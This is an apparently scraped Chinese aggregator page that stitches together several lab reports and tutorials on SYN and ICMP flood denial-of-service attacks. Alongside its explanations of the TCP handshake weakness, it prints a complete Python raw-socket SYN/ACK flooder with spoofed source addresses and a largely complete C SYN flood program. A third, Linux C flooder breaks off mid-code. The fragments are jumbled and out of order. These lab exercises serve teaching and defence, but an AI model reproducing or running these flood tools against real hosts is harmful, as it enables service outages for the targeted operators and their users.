syn-flood攻击实验报告

合集下载

洪范攻击

洪范攻击
(4)靶机观察“性能”监控程序中图形变化,比较洪水攻击前后系统性能变化情况。
(5)攻击者停止洪水发送,并停止协议分析器捕获,观察并分析ICMP会话过程。
由此可见ICMP向目标主机发送大量的数据包。
4实验效果描述或结果
实验的过程安装实验指导执行,发现洪范攻击后,目标机的系统资源占用率升高。
5思考与问答
(2)靶机启动“性能监视器”,监视在遭受到洪水攻击时本机CPU、内存消耗情况。具体操作参看步骤一。需要说明的是监视的性能对象应为ICMP,并且计数单位应为“Messages Received/sec”。
(3)攻击者对靶机进行洪水攻击,进入洪泛工具“ICMP洪水攻击”视图,填写相关信息,并发ICMP洪水。
单击“确定“按钮使过滤条件生效。
单击“新建捕获窗口”按钮,点击“选择过滤器”按钮,确定过滤信息。在新建捕获窗口工具栏中点击“开始捕获数据包”按钮,开始捕获数据包。
2.性能分析
(1)靶机启动系统“性能监视器”,监视在遭受到洪水攻击时本机CPU、内存消耗情况,具体操作如下:依次单击“开始”|“程序”|“管理工具”|“性能”。在监视视图区点击鼠标右键,选择“属性”打开“系统监视器属性”窗口,在“数据”属性页中将“计数器”列表框中的条目删除;单击“添加”按钮,打开“添加计数器”对话框,在“性能对象”中选择“TCPv4”,在“从列表选择计数器”中选中“Segments Received/sec”,单击“添加”按钮,然后“关闭”添加计数器对话框;单击“系统监视器属性”对话框中的“确定”按钮,使策略生效。
计算机网络安全实验报告
姓名:学号:同组人:日期2013/4/8
1任务概述(任务说明、相关数据结构描述,用自己的语言)
洪范攻击
2设计思路

SYN攻击实验

SYN攻击实验

SYN攻击实验应用场景随着计算机网络的普及和发展,人们利用网络可以方便快捷地进行各种信息处理,例如,网上办公、电子商务、分布式数据处理等。

但网络也存在不容忽视的问题,例如,用户的数据被篡改、合法用户被冒充、通信被中断等。

面临着大量的网络入侵事件,就必须要求在一个开放式的计算机网络物理环境中构造一个封闭的逻辑环境来保障敏感信息和保密数据不受到攻击。

为此迫切需要对网络安全作分类研究,把各种网络安全问题清楚有序地组织起来,从而构建一个合理、安全、高效的网络防御体系。

网络安全保护的核心是如何在网络环境下保证数据本身的秘密性、完整性与操作的正确性、合法性与不可否认性。

而网络攻击的目的正相反,其立足于以各种方式通过网络破坏数据的秘密性和完整性或进行某些非法操作。

网络及其应用的广泛发展,安全威胁呈现出攻击的种类、方法和总体数量越来越多、破坏性和系统恢复难度也越来越大。

这就要求我们对攻击方法有更进一步的研究;对安全策略有更完善的发展,建立起一个全面的、可靠的、高效的安全体系。

DDOS 全名是Distribution Denial of service (分布式拒绝服务攻击),指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS 攻击,从而成倍地提高拒绝服务攻击的威力。

通常,攻击者使用一个偷窃帐号将DDoS 主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在Internet 上的许多计算机上。

代理程序收到指令时就发动攻击。

利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。

Syn Flood 利用了TCP/IP 协议的固有漏洞。

面向连接的TCP 三次握手是Syn Flood 存在的基础。

假设一个用户向服务器发送了SYN 报文后突然死机或掉线,那么服务器在发出SYN+ACK 应答报文后是无法收到客户端的ACK 报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK 给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30 秒‐2 分钟);一个用户出现异常导致服务器的一个线程等待1 分钟并不是很严重的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源,即使是简单的保存并遍历也会消耗非常多的CPU 时间和内存,何况还要不断对这个列表中的IP 进行SYN+ACK 的重试。

网络安全实验报告 - 拒绝服务攻击

网络安全实验报告 - 拒绝服务攻击

一、实验目的
1.SYN洪水攻击
2.ICMP洪水攻击
二、实验内容与步骤
(1)SYN洪水攻击
对目标主机实施SYN洪水攻击的命令:nmap -v –sS -T5 靶机IP地址
(2)ICMP洪水攻击
启用实验平台ICMP洪水攻击工具
三、实验小结
SYN洪水攻击和ICMP洪水攻击尽管都能实现洪水攻击,但是二者的原理不同
1.SYN洪水攻击原理
在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发送SYN+ACK应答报文后是无法收到客户端的ACK报文的,即第三次握手无法完成,成为半连接状态。

这种情况下服务器端一般会新开一个等待线程来负责等待一段时间(SYN Timeout),而服务器里面用来存放等待线程的堆栈一般不会很大。

因此黑客可以大量模拟这种情况,使服务器忙于处理这种半连接状态,最终等待堆栈溢出
2.ICMP洪水攻击原理
a..直接Flood
源IP就是黑客自己的IP,回应ICMP发回到黑客自己
b.伪造IP的Flood
伪造源IP
c.Smurf
结合IP地址欺骗和ICMP回复的方法,使大量回应报文发向攻击目标主机,引起攻击目标系统瘫痪。

国家开放大学-—网络安全评价—实训2-拒绝服务攻击-TCP SYN Flood攻击与防御

国家开放大学-—网络安全评价—实训2-拒绝服务攻击-TCP SYN Flood攻击与防御

信息安全与管理专业实训报告学生姓名:一、实训名称:拒绝服务攻击-TCP SYN Flood攻击与防御。

二、实训内容1、kali的安装部署2、SYN Flood攻击演示3、观察受攻击目标的系统状态4、防御措施三、实验步骤1、python攻击代码环境:ubuntu/kali +python 2.7.11使用方法如下:mode有三种模式syn攻击、ack攻击、混合攻击,虽说是支持多线程但是多个线程反而不如单线程快,估计是我的多线程弄得有些问题,麻烦这方面比较懂的朋友帮我指点一下。

我电脑是i7-6700单线程也只能这点速度。

cpu1已经使用89%了看一下抓包情况吧,因为只是测试用我也没带tcp的options字段,报文长度也不够64字节,不过也能传到目的地址。

下面是代码:#!/usr/bin/python#-*-coding:utf-8-*-import socketimport structimport randomimport threadingclass myThread (threading.Thread):def __init__(self,dstip,dstport,mode):threading.Thread.__init__(self)self.dstip = dstipself.dstport =dstportself.mode =modedef run(self):attack(self.dstip,self.dstport,self.mode)def checksum(data):s = 0n = len(data) % 2for i in range(0, len(data)-n, 2):s+= ord(data[i]) + (ord(data[i+1]) << 8) if n:s+= ord(data[i+1])while (s >> 16):s = (s & 0xFFFF) + (s >> 16)s = ~s & 0xffffreturn sdef IP(source,destination,udplen):version = 4ihl = 5tos = 0tl = 20+udplenip_id = random.randint(1,65535)flags = 0offset = 0ttl = 128protocol =6check =0source = socket.inet_aton(source)destination = socket.inet_aton(destination)ver_ihl = (version << 4)+ihlflags_offset = (flags << 13)+offsetip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,check,source,destination)check=checksum(ip_header)ip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,socket.htons(check),source,destination)return ip_headerdef TCP(srcip,dstip,protocol,dp,fg):source = socket.inet_aton(srcip)destination = socket.inet_aton(dstip)srcport=random.randint(1,65535)dstport=dpsyn_num=random.randint(1,4000000000)if fg == 2:ack_num=0else:ack_num=random.randint(1,4000000000) hlen=5zero=0flag=fgwindow=8192check=0point=0tcplen=hlenh_f=(hlen << 12)+flagTCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,s yn_num,ack_num,h_f,window,check,point)check=checksum(TCP_head)TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point )return TCP_headdef makepacket(dstip,dstport,fg):srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'. '+str(random.randint(1,255))protocol=6ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)return ippacketdef attack(dstip,dstport,mode):if mode == 'syn':fg=2while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'ack':fg=18while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'syn&ack':while 1:data=makepacket(dstip,dstport,2)s.sendto(data,(dstip,dstport))data=makepacket(dstip,dstport,18)s.sendto(data,(dstip,dstport))else:print 'DON\'T xia say!'dstip=raw_input('attack IP:')dstport=int(input('attack PORT:'))mode=raw_input('mode:(syn or ack or syn&ack)') threads=int(input("线程数threads:"))ip_first=[]for i in range(1,10):ip_first.append(i)for i in range(11,172):ip_first.append(i)for i in range(173,192):ip_first.append(i)for i in range(193,224):ip_first.append(i)s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)threads_name=[]for i in range(threads):threads_name.append('teread'+str(i))for i in range(threads):threads_name[i]=myThread(dstip,dstport,mode)for i in range(threads):threads_name[i].start()2、C语言攻击代码环境:ubuntu/kali gcc version 6.1.1 20160802 (Debian 6.1.1-11)使用方法:支持两个参数目的ip和目的端口性能:限制发包速度的是带宽(我这是100M的网,除去报文的前导码和帧间隔极限速度差不多就是9m左右了),cpu利用才27%,我在1000Mbps的网速下测试,单线程的话速度能到40m左右,cpu占用率大约85%左右。

泛洪攻击实验报告(3篇)

泛洪攻击实验报告(3篇)

第1篇一、实验背景随着互联网技术的飞速发展,网络安全问题日益凸显。

其中,泛洪攻击作为一种常见的网络攻击手段,给网络系统带来了极大的威胁。

为了深入了解泛洪攻击的原理和防御方法,我们进行了本次泛洪攻击实验。

二、实验目的1. 理解泛洪攻击的原理和危害;2. 掌握泛洪攻击的实验方法;3. 学习防御泛洪攻击的策略。

三、实验环境1. 操作系统:Windows 102. 虚拟机软件:VMware Workstation3. 实验工具:Scapy四、实验原理泛洪攻击是一种利用目标系统资源耗尽而导致的拒绝服务攻击。

攻击者通过发送大量数据包或请求,使目标系统无法正常处理正常用户请求,从而达到拒绝服务的目的。

常见的泛洪攻击类型包括:1. TCP SYN泛洪攻击:利用TCP三次握手过程中的漏洞,发送大量伪造的SYN请求,使目标系统处于半连接状态,消耗系统资源。

2. UDP泛洪攻击:发送大量UDP数据包,使目标系统无法正常处理正常数据。

3. ICMP泛洪攻击:发送大量ICMP请求,使目标系统无法正常处理网络请求。

五、实验步骤1. 准备实验环境(1)在VMware Workstation中创建两台虚拟机,分别作为攻击者和目标系统。

(2)在攻击者虚拟机上安装Scapy工具。

2. 编写攻击脚本(1)使用Scapy编写TCP SYN泛洪攻击脚本,如下所示:```pythonfrom scapy.all importdef syn_flood(target_ip, target_port):while True:syn_packet = IP(dst=target_ip) / TCP(sport=RandShort(), dport=target_port, flags="S")send(syn_packet)if __name__ == "__main__":target_ip = "192.168.1.2"target_port = 80syn_flood(target_ip, target_port)```(2)运行攻击脚本,对目标系统进行TCP SYN泛洪攻击。

SYN_FLOOD简单分析及实现.

SYN_FLOOD简单分析及实现.

SYN_FLOOD 简单分析及实现声明:此程序有一定攻击性,请只供学习之用,不要危害祖国的网络。

如发动攻击一切后果自负。

网络上发送数据包的攻击有多种(如ICMP_FLOOD, 碎片攻击,等)其中有一种就是利用TCP 协议三次握手的攻击(SYN_FLOOD)。

下面就简单讲述一下 TCP 的三次握手。

现在有A,B 两台机器,其中B是SERVER.A是CLIENT.首先 A 发送送一个带有SYN标记(带起始序列号)的数据报给B。

然后 B 接收,然后发送一个ACK+SYN(带B机的起始序列号和 A的确认号)给A。

最后 A 再发送一个带序列号和确认号的数据报给 B。

此时连接完成。

利用这个原理,如果A机在第一步伪装大量不存在的机器,给B发送大量的SYN包,那么B 会以为有很多合法的机器请求连接,然后一一回应。

然后等待第三次确认建立连接。

那么大量等待连接的请求被保留在栈中。

一般服务器等待2分钟还没等到第三次握手,那么就会从等待连接的栈中删除连接请求。

如果A的SYN发送得足够快,合法用户连接不上,那么服务器也会花费大量的资源来维护栈。

从而照成D.o.S攻击。

通过RAW_SOCKET,只要你是管理员,就可以伪造IP和TCP头部,发虚假源地址的SYN请求。

简单实现如下:/* FLOOD.CPP*/#include <stdio.h>#include <winsock2.h>#include <ws2tcpip.h>#include <windows.h>#include <time.h>#include <dos.h>#pragma comment(lib, "ws2_32.lib")#define MAX_RECEIVEBYTE 255typedef struct ip_head //定义IP首部{unsigned char h_verlen; //4位首部长度,4位IP版本号unsigned char tos; //8位服务类型TOSunsigned short total_len; //16位总长度(字节)unsigned short ident; //16位标识unsigned short frag_and_flags; //3位标志位(如SYN,ACK,等)unsigned char ttl; //8位生存时间 TTLunsigned char proto; //8位协议 (如ICMP,TCP等)unsigned short checksum; //16位IP首部校验和unsigned int sourceIP; //32位源IP地址unsigned int destIP; //32位目的IP地址}IPHEADER;typedef struct tcp_head //定义TCP首部{USHORT th_sport; //16位源端口USHORT th_dport; //16位目的端口unsigned int th_seq; //32位序列号unsigned int th_ack; //32位确认号unsigned char th_lenres; //4位首部长度/6位保留字unsigned char th_flag; //6位标志位USHORT th_win; //16位窗口大小USHORT th_sum; //16位校验和USHORT th_urp; //16位紧急数据偏移量}TCPHEADER;typedef struct tsd_head //定义TCP伪首部{unsigned long saddr; //源地址unsigned long daddr; //目的地址char mbz;char ptcl; //协议类型unsigned short tcpl; //TCP长度}PSDHEADER;//CheckSum:计算校验和的子函数USHORT checksum(USHORT *buffer, int size) {unsigned long cksum=0;while(size >1){cksum+=*buffer++;size -=sizeof(USHORT);}if(size){cksum += *(UCHAR*)buffer;}cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (USHORT)(~cksum);}void usage(){printf("***********************************************************"); printf("SYN_FLOOD MADE BY LionD8");printf("Useage: FLOOD Target_ip Target_port Delay_time ");printf("***********************************************************"); }//Delay_time单位为毫秒。

14.SYN Flood网络渗透测试(难)-解析

14.SYN Flood网络渗透测试(难)-解析

1、SYN Flood网络渗透测试(难)拓扑结构:任务环境说明:攻击机:物理机操作系统:Windows7 64位旗舰版虚拟机操作系统:Ubuntu Linux 32bit虚拟机操作系统安装工具集:BackTrack5虚拟机网卡与物理机网卡之间的关系:Bridge(桥接)用户名:root,密码:toor靶机:服务器场景:CentOS5.5服务器场景操作系统:CentOS5.5服务器场景用户名:root,密码:123456难度:高级1.进入虚拟机操作系统:Ubuntu Linux 32bit中的/root目录,完善该目录下的synflood.py文件,填写该文件当中空缺的Flag1字符串,将该字符串作为Flag值(形式:Flag1字符串)提交;(synflood.py脚本功能见该任务第6题)2.进入虚拟机操作系统:Ubuntu Linux 32bit中的/root目录,完善该目录下的synflood.py文件,填写该文件当中空缺的Flag2字符串,将该字符串作为Flag值(形式:Flag2字符串)提交;(synflood.py脚本功能见该任务第6题)3.进入虚拟机操作系统:Ubuntu Linux 32bit中的/root目录,完善该目录下的synflood.py文件,填写该文件当中空缺的Flag3字符串,将该字符串作为Flag值(形式:Flag3字符串)提交;(synflood.py脚本功能见该任务第6题)4.进入虚拟机操作系统:Ubuntu Linux 32bit中的/root目录,完善该目录下的synflood.py文件,填写该文件当中空缺的Flag4字符串,将该字符串作为Flag值(形式:Flag4字符串)提交;(synflood.py脚本功能见该任务第6题)5.进入虚拟机操作系统:Ubuntu Linux 32bit中的/root目录,完善该目录下的synflood.py文件,填写该文件当中空缺的Flag5字符串,将该字符串作为Flag值(形式:Flag5字符串)提交;(synflood.py脚本功能见该任务第6题)6.在虚拟机操作系统:Ubuntu Linux 32bit下执行synflood.py文件,对靶机服务器进行SYN Flood网络渗透测试,渗透测试能够实现:在攻击机端或在靶机端的协议分析工具中,能够发现靶机遭受到了SYNFlood渗透测试;并观察靶机端收到的第1000个SYN Flood数据包,该数据包在攻击机中的命令行窗口的显示状态信息的第三行中的唯一一个数字作为Flag值提交;。

DDoS攻击实例 - SYN Flood攻击

DDoS攻击实例 - SYN Flood攻击
SYN标志置位。客户端告诉服务端序列号区域合法,需要检查。客户端在TCP报头的序列号区中插入自己的ISN。服务端收到该TCP分段后,在第二步以自己的ISN回应(SYN标志置位),同时确认收到客户端的第一个TCP分段(ACK标志置位)。在第三步中,客户端确认收到服务端的ISN(ACK标志置位)。到此为止建立完整的TCP连接,开始全双工模式的数据传输过程。
Syn Flood原理 - 三次握手
Syn Flood利用了TCP/IP协议的固有漏洞。面向连接的TCP三次握手是Syn Flood存在的基础。
TCP连接的三次握手
如图二,在第一步中,客户端向服务端提出连接请求。这时TCP
127.0.0.178 -> TCP D=121 S=1352 Syn Seq=674711609
Len=0 Win=65535
127.0.0.178 -> TCP D=122 S=1352 Syn Seq=674711609
Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称做:服务器端受到了SYN

浅析SYN FLOOD攻击原理及其防御

浅析SYN FLOOD攻击原理及其防御
图 2 正常情况下的 T CP建 立 连 接 过 程
区满 再 发 送 。 其 中的 S N及 A K 两 个 标 志 位 是 我们 分 析 的 重 点 。 Y C
2 T P协 议 的连 接 ( 次 握 手 ) . C 三
T P是 T PI C C/ P协 议 栈 的传 输 控 制 协 议 . 供 可 靠 的 连 接 服 务 , 提 采 过 某 种 手 段 , 意 地 造成 计 算机 或 网 络 不 能 正 常 运 转 从 而不 能 向合 法 用 三 次 握 手 确 认 建 立 一 个 连 接 。 它 的 连 接 过 程 如 图 2: 有
W U Qin og f a gS a a o e irTe h i l r i n c o lTa g h n He e , 6 3 0 T n h n L b rS no c n c an g S h o , n s a b i0 3 0 ) aT i
【 b tat YN F O D atc sc r nl tem s pp lro eo D S a ak. N ti p p rw nrd c h o cp o YN F OO A s c】S L O t ki ur t h ot oua n fD O t c s I hs a e, eit uetecn et fS L D r a e y t o
【 yw r sS L D; C Ke o d 】YN F O0 T P
据。此时紧急数据指针有效 。 0引言 . A K: 确认 标 志位 。如 果 为 1 表 示 包 中 的确 认 号 是 有 效 的 。否 C 为 . 互 联 网 上 , 点 ( WE 站 如 B服 务 器 ) 遭 到 外 部 主 机 的 DD S攻 击 , 常 O 包 其 中 .Y L D攻 击 是 最 为 常 见 的一 种 。 击 者 使 用 伪 造 的 源 地 址 则 , 中的 确 认 号 无 效 。 S N F OO 攻 P H: 果 置 位 , 收 端 应 尽 快 把 数 据 传 送 给 应 用 层 , 必 等 缓 冲 S 如 接 不 向服 务 服 务 器 发 送 大量 的 T P连 接 请 求 , 使 服 务 器 资 源 耗 尽 , 而 C 致 从 使 合 法 用 户 的 正 常访 问 也 因 为无 法 建 立 T P连 接 而 被 拒 绝 。 C 首 先 . 们 来 了 解 一 下 相关 定 义 。 我 什 么 是 DO ? D S 此 OS并 非 Mi oo 公 司 的 早 期 操 作 系 统 , 是 英 c sf r t 它 文 D n a o evc e il f rie的缩 写 . 即 “ 绝 服 务 ” D S攻 击 是 指 攻 击 者 通 S 意 拒 。 O 用 户 提 供 所 需 要 的 服 务 或 者使 得服 务 质量 降低 ? 什么是 D O ? O D S DD S是 英 文 Dsr ue e i f ev e的 缩 写 , i i tdD na o ri tb l S c 意 即“ 布 式 拒 绝 服 务 ” 俗 称洪 水 攻击 ) D 分 ( 。D OS攻 击 是 指 处 于 不 同 位 置 的多 个 攻击 者 同 时 向一 个 或 者 数 个 目标 发 起 攻 击 , 者 一 个 或 多 个 或 攻 击 者 控 制 了 位 于 不 同位 置 的 多 台 机 器 并 利 用 这 些 机 器 对 受 害 者 同 时实施攻击 , 于攻击的发 出点是分布在不 同地方 的, 由 这类 攻 击 称 为 分 布 式 拒 绝 服 务 攻击 。 S N F OO Y L D攻 击 为 D O D S攻 击 方式 之 一 ,它是 利 用 T P连 接 的 C

网络安全实验--洪泛攻击

网络安全实验--洪泛攻击

一、实验目的和要求理解带宽攻击原理理解资源消耗攻击原理掌握洪泛攻击网络行为特征二、实验内容和原理1.SYN Flood攻击Dos(Denial of Service)拒绝服务攻击是指在特定攻击发生后,被攻击的对象不能及时提供应有的服务。

从广义上说,任何导致服务器不能正常提供服务的攻击都是拒绝服务攻击。

SYN Flood是当前最流行的拒绝服务攻击之一,这是一种利用TCP协议缺陷,发送大量的伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

TCP协议是基于连接的,也就是说,为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接。

建立TCP连接的标准过程是这样的:第一步,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加1,ACK即确认(Acknowledgement);第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加1,到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手。

问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN超时,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源。

网络攻防原理与技术实验第5章

网络攻防原理与技术实验第5章

第5章拒绝服务攻击5.7 实验5.7.1 编程实现SYN Flood DDoS攻击1. 实验目的通过编程实现SYN Flood拒绝服务攻击,深入理解SYN Flood 拒绝服务攻击的原理及其实施过程,掌握SYN Flood拒绝服务攻击编程技术,了解DDoS攻击的识别、防御方法。

2. 实验内容与要求(1) 调试通过5.3.2节SYN Flood攻击源代码,将攻击源代码中的被攻击IP设置成实验目标服务器的IP地址。

(2)所有实验成员向攻击目标发起SYN Flood攻击。

(3) 用Sniffer监视攻击程序发出的数据包,观察结果。

(4) 当攻击发起后和攻击停止后,尝试访问Web服务器,对比观察结果。

(5) 将Sniffer监视结果截图,并写入实验报告中。

3. 实验环境(1) 实验室环境,实验用机的操作系统为Windows。

(2) 实验室网络中配置一台Web服务器作为攻击目标。

(3) SYN Flood源代码(见教材5.3.2节)。

(4) C语言开发环境。

5.7.2 编程实现NTP反射式拒绝服务攻击1. 实验目的通过编程实现,深入理解NTP反射式拒绝服务攻击的原理及其实施过程,掌握NTP反射式拒绝服务攻击编程技术,了解DDoS攻击的识别、防御方法。

2. 实验内容与要求(1) 编程实现NTP反射式DDoS攻击程序,并调试通过。

程序的攻击目标为实验室Web 服务器,反射源为实验室内网中指定的NTP服务器。

(2) 所有实验成员向攻击目标发起NTP 反射式拒绝服务攻击。

(3) 用Sniffer监视攻击程序发出的数据包,观察结果。

(4) 当攻击发起后和攻击停止后,尝试访问Web服务器,对比观察结果。

(5) 将Sniffer监视结果截图,并写入实验报告中。

3. 实验环境(1) 实验室环境,实验用机的操作系统为Windows。

(2) 实验室网络中配置一台Web服务器作为攻击目标,配置2台NTP服务器作为反射源(将实验学生分成两组,每组各使用一台NTP服务器作为反射源),并开放monlist请求。

SYN Flood攻击实验

SYN Flood攻击实验

实验五SYN Flood攻击实验班级﹒学号:网络1201·2012******** 姓名:******实验日期:2014.11.28 任课教师:*******【实验目的】理解SYN Flood攻击原理熟悉SYN Flood攻击方法熟悉抵御SYN Flood攻击的方法【实验原理】SYN-Flood是目前最流行的DDoS攻击手段,DDoS只是洪水攻击的一个种类。

其实还有其它种类的洪水攻击。

以前的DoS手段在向分布式这一阶段发展的过程中也经历了逐步淘汰的过程。

SYN-Flood的攻击效果最好,故众黑客不约而同选择它。

以下了解一下SYN-Flood的详细情况。

Syn Flood利用了TCP/IP协议的固有漏洞。

面向连接的TCP三次握手是Syn Flood 存在的基础。

假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是很严重的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。

实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常小),此时从正常客户的角度看来,服务器失去响应,这种情况称做:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

网络实验二

网络实验二

甘肃政法学院本科生实验报告(二)姓名:学院:信息工程学院专业:班级:实验课程名称:网络安全实验日期:2014年 10 月 28 日开课时间:2014-2015 学年 第一 学期甘肃政法学院实验管理中心印制实验题目拒绝服务攻击 SYN攻击小组合作无姓名班级学 号一、实验目的1、掌握SYN 攻击的方法;2、 掌握xdos攻击工具的使用方法。

二.实验环境本地主机(WindowsXP)、Windows实验台、Xdos synflood工具三、实验内容与步骤1、 登录到Windows实验台中登录到Windows实验台,并从实验工具箱取得syn攻击工具XDoc。

2、 Windows实验台cmd下运行xdos攻击工具Xdos运行界面如图3.5.5‑2所示。

Xdos命令举例演示如下:xdos 192.168.1.43 139 –t 3 –s 55.55.55.55192.168.1.43 为被攻击主机的ip地址(实验时请以被攻击主机真实ip 为准)139为连接端口-t 3 表示开启的进程-s 后跟的ip地址为syn数据包伪装的源地址的起始地址图3.5.5‑2运行显示如图3.5.5‑3,Windows实验台正在对本地发送syn数据包。

图3.5.5‑3在目标主机使用wireshark抓包,如图3.5.5‑4所示,可以看到大量的syn向192.168.1.43主机发送,并且将源地址改为55.55.55.55后面的ip 地址。

图3.5.5‑43、 本地主机状态在目标主机使用命令netstat -an查看当前端口状态,如图3.5.5‑5所示,就会发现大量的syn_received状态的连接,表示192.168.1.43主机接受到syn数据包,但并未受到ack确认数据包,即tcp三次握手的第三个数据包。

图3.5.5‑5 查看本地网络状态当多台主机对一台服务器同时进行syn攻击,服务器的运行速度将变得非常缓慢。

四、实验过程与分析SYN-Flood是目前最流行的DDoS攻击手段,DDoS只是洪水攻击的一个种类。

synflood(syn洪水)攻防实战

synflood(syn洪水)攻防实战

synflood(syn洪水)攻防实战说到 syn洪水大家应该都不陌生。

sk.c之前听说过其中的原理,但也没真枪实弹试过。

到最近在学习服务器调优才实践尝试了下,才有了这篇烂笔头博文,有说的不对的地方,还请赐教一开始,我们还是再唠叨下 syn flood doc 的原理:1.TCP三次握手syn flood doc 是基于TCP协议缺陷的。

那么,我们先看下TCP 三次握手的协议图我们看到,tcp 在初始化连接的时候,需要经过三次握手,若某客户端发送大量syn请求给服务端,然后不返回ack包。

那么,服务端将会存在大量的syn队列(SYN_RCVD),导致占用大量服务端资源,让其他正常用户无法正常访问服务器。

sk.c 之前想过这样的方案我们是否可以限制相同IP的syn请求数来解决问题?当然,这太天真了,原因在于: 单个数据包请求的IP来源地址可以轻松的伪造!嗯,这时我们需要简单了解下 IP 协议2.IP 协议IP协议中,基于每个IP数据报头都标明(32位源IP地址)这点,我们只要在构造的 syn 包中随机的填写源IP地址, 那么就可以伪造数据来源的IP啦。

这样的话,那是不是意味着我们在互联网通信都可以用这样简单的方式来伪造IP呢?–答案是否定的,原因留给读者想想看 :)syn_act 实现基于以上两个原理,我们可以写一个程序,用随机IP的syn去攻击一台服务器syn_act1 2 3 4 5 6 7 8 9 /*Syn Flood DOS with LINUX sockets*/#include<stdio.h>#include<string.h> //memset#include<sys/socket.h>#include<stdlib.h> //for exit(0);#include<errno.h> //For errno - the error number#include<netinet/tcp.h> //Provides declarations for tcp header#include<netinet/ip.h> //Provides declarations for ip header#include<sys/time.h>1011121314151617181920212223242526272829303132333435363738394041424344454647484950515253 struct pseudo_header { //needed for checksum calculation unsigned int source_address;unsigned int dest_address;unsigned char placeholder;unsigned char protocol;unsigned short tcp_length;struct tcphdr tcp;};unsigned short csum(unsigned short *ptr,int nbytes) {register long sum;unsigned short oddbyte;register short answer;sum=0;while(nbytes>1) {sum+=*ptr++;nbytes-=2;}if(nbytes==1) {oddbyte=0;*((u_char*)&oddbyte)=*(u_char*)ptr;sum+=oddbyte;}sum = (sum>>16)+(sum & 0xffff);sum = sum + (sum>>16);answer=(short)~sum;return(answer);}int main(int argc, char *argv[]) {//Uncommend the loop if you want to flood :)//Create a raw socketint s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); //Datagram to represent the packetchar datagram[4096] , source_ip[32], dst_ip[32]; //IP headerstruct iphdr *iph = (struct iphdr *) datagram;//TCP headerstruct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));struct sockaddr_in sin;struct pseudo_header psh;struct timeval tv_time;int ip1,ip2,ip3,ip4;gettimeofday(&tv_time,NULL);srand(tv__usec);if(argc != 2) {printf("Usage: syn_act 172.16.5.69\n");} else {sprintf(dst_ip,"%s",argv[1]);}// rand to get ipip1 = rand() % 196;ip2 = rand() % 128;5455565758596061626364656667686970717273747576777879808182838485868788899091929394959697 ip3 = rand() % 256;ip4 = rand() % 256;sprintf(source_ip,"%d.%d.%d.%d",ip1,ip2,ip3,ip4);sin.sin_family = AF_INET;sin.sin_port = 